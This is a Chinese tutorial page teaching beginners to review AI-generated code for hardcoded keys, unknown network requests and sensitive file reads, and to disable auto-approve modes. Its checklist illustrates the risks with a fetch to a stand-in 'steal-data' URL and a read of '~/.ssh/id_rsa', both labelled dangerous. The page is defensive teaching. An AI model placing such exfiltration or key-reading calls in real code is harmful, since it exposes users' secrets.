---
title: "5.3.6 永远审查代码"
order: 8
---


![05-advanced_5.3-security_5.3.6-always-review.png](/images/Basic/05-advanced_5.3-security_5.3.6-always-review.png)
# 5.3.6 永远审查代码：最重要的安全习惯

经过本节学习，你将了解：
- 为什么代码审查如此重要
- 如何审查你不完全理解的代码
- 关于"自动批准模式"的建议
- 建立可持续的审查习惯

## 令人担忧的数据

根据 2025 年的开发者调查：

- 只有 **67%** 的开发者在部署前审查代码
- 超过 **40%** 的初学者承认部署了不完全理解的 AI 生成代码
- **33%** 的开发者表示会直接复制粘贴 AI 生成的代码

这意味着：很多人正在使用他们并不真正理解的代码。

## 什么是"真正的"Vibe Coding？

Simon Willison（AI 领域知名专家、Django 核心贡献者）对此有一个有趣的观点：

> "如果 AI 写了所有代码，但你审查、测试并理解了它，那不是 Vibe Coding——那是用 AI 当打字助手。"

换句话说：

| 做法 | 类型 | 风险 |
|------|------|------|
| AI 生成 → 审查 → 测试 → 部署 | 用 AI 辅助开发 | 较低 |
| AI 生成 → 直接部署 | 纯 Vibe Coding | 较高 |

我们在本教程中倡导的是**有意识的 AI 辅助开发**：充分利用 AI 的能力，但保持人类的判断和审查。

## 如何审查你不完全理解的代码

你可能会想：我是初学者，根本看不懂代码，怎么审查？

好消息是：你不需要完全理解每一行代码，就可以进行有意义的审查。

### 检查项一：敏感信息

即使不懂代码，你也能识别这些模式：

```javascript
// 问自己：这里有没有看起来像密钥的东西？
const key = "sk-abc123..."  // 这看起来像密钥
const key = process.env.KEY  // 这是正确的方式
```

### 检查项二：可疑的网络请求

留意代码是否在向你不认识的地址发送数据：

```javascript
// 问自己：这个网址是我知道的服务吗？
fetch("https://api.openai.com/...")  // 正常，OpenAI 官方
fetch("https://random-site.xyz/steal-data")  // 可疑
```

### 检查项三：文件操作

注意代码是否在读写文件，特别是敏感路径：

```javascript
// 问自己：为什么要读取这些文件？
fs.readFile("~/.ssh/id_rsa")  // 危险！在读取 SSH 私钥
fs.readFile("./data.json")    // 正常，读取项目内的数据
```

### 检查项四：让 AI 帮你审查

你可以让另一个 AI（或同一个 AI）来检查代码：

```
请审查以下代码，检查是否有：
1. 硬编码的密钥或密码
2. 可疑的网络请求
3. 不安全的文件操作
4. 其他安全隐患

[粘贴代码]
```

::: tip 技巧
用一个 AI 来审查另一个 AI 的代码，可以发现一些明显的问题。但这不能替代你自己的判断。
:::

## 关闭自动批准模式

一些 AI IDE 提供了"自动批准"或"Yolo 模式"，允许 AI 不经你确认就执行命令或修改文件。

**初学者应该关闭此功能。**

原因：
1. 你需要看到 AI 在做什么，才能学习
2. AI 可能做出你不想要的更改
3. 如果出错，你无法及时阻止

每个操作都手动确认，虽然慢一点，但更安全，也能帮助你理解发生了什么。

## 建立可持续的审查习惯

代码审查不需要花很多时间。建立以下习惯：

**每次 AI 生成代码后**：
- [ ] 快速扫一眼，有没有看起来像密钥的字符串
- [ ] 如果有网络请求，确认目标地址是你知道的
- [ ] 如果看不懂某段代码在做什么，问 AI 解释

**每次准备提交/部署前**：
- [ ] 运行安全检查清单（5.3.4 节）
- [ ] 确认 .env 文件没有被包含

**定期回顾**：
- [ ] 检查项目依赖是否需要更新
- [ ] 确认没有新的安全警告

## 记住这个原则

::: warning 核心原则
**AI 生成的代码，最终责任在你。**

这不是为了吓你，而是提醒你：保持审查习惯，是保护自己的最好方式。
:::

→ [5.3.7 本节要点总结](./5.3.7-summary.md)
